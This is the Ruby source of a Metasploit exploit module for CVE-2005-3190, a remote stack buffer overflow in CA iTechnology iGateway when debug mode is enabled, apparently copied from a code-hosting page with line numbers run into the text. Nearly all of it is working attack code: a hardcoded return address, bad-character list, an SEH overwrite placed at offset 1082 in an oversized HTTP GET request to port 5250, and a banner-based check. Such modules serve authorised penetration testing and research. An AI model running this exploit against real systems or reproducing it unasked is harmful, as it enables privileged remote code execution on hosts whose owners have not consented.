Path: blob/master/modules/exploits/windows/http/ca_igateway_debug.rb
19512 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability in the Computer Associates18iTechnology iGateway component. When <Debug>True</Debug> is enabled19in igateway.conf (non-default), it is possible to overwrite the stack20and execute code remotely. This module works best with Ordinal payloads.21},22'Author' => 'aushack',23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2005-3190' ],26[ 'OSVDB', '19920' ],27[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],28[ 'EDB', '1243' ],29[ 'BID', '15025' ],30],31'DefaultOptions' => {32'EXITFUNC' => 'seh',33},34'Payload' => {35'Space' => 1024,36'BadChars' => "\x00\x0a\x0d\x20",37'StackAdjustment' => -3500,38'Compat' =>39{40'ConnectionType' => '+ws2ord',41},42},43'Platform' => 'win',44'Targets' => [45[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll46],47'Privileged' => true,48'DisclosureDate' => '2005-10-06',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60Opt::RPORT(5250),61]62)63end6465def check66connect67sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")68banner = sock.get_once6970if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?71return Exploit::CheckCode::Detected72end7374return Exploit::CheckCode::Safe75end7677def exploit78connect7980seh = generate_seh_payload(target.ret)81buffer = Rex::Text.rand_text_alphanumeric(5000)82buffer[1082, seh.length] = seh83sploit = "GET /" + buffer + " HTTP/1.0"8485sock.put(sploit + "\r\n\r\n\r\n")8687disconnect88handler89end90end919293